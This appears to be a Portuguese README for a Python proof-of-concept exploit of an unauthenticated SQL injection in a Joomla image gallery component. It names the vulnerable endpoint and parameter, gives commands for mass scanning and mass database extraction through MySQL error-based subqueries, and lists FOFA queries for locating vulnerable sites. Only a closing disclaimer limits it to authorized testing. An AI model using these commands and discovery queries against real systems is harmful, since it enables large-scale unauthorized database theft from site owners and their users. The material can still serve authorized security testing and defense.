CVE-2026-88854 — Injeção SQL no OrdaSoft Joomla Gallery

Scanner/exploit PoC em Python 3 para CVE-2026-88854 no OrdaSoft OS Responsive Image Gallery para Joomla.

Resumo

showSearchResult() / showSearchResultAjax() leem textsearch / searchText via $input->getVar(), que não aplica escape SQL adequado. O valor é concatenado em uma cláusula LIKE. Visitantes não autenticados podem usar injeção no estilo UNION para ler o conteúdo do banco de dados.

Superfície de requisição típica:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Instalações legadas podem usar o nome de task searhResult (erro de digitação).

Requisitos

• Python 3.9+
• pip install -r requirements.txt

Uso

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

Opções de CLI

Saída (verificação em massa)

Valores comuns de status (check)

Auditoria pós-scan (audit_scan.py)

Após um check em massa, execute audit_scan.py para buscar novamente os manifestos do administrador e dividir os alvos:

A versão da galeria é lida do elemento <version> em administrator/components/com_osgallery/osgallery.xml, não do atributo extension version= do Joomla.

Limitações

• O modo Exploit usa EXTRACTVALUE baseado em erro do MySQL; MariaDB/Postgres, erros desabilitados ou WAF podem resultar em nenhum vazamento mesmo quando o CVE se aplica.
• Diferenças de comprimento booleanas sozinhas não são tratadas como SQLi confirmada (ModSecurity 406 causou falsos positivos em testes).
• Versão do manifesto ≤ 6.2.6 indica janela de exposição, não SQLi garantidamente explorável em todos os hosts.
• Instalações Joomla em subdiretório exigem a URL base correta (ex.: https://host/site).

Dicas de FOFA / descoberta

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Estrutura do repositório

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Listas de alvos locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) estão em .gitignore e não devem ser commitados.

Referências

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Legal

Apenas para testes de segurança autorizados. Você é responsável pelo cumprimento das leis aplicáveis e das regras do programa.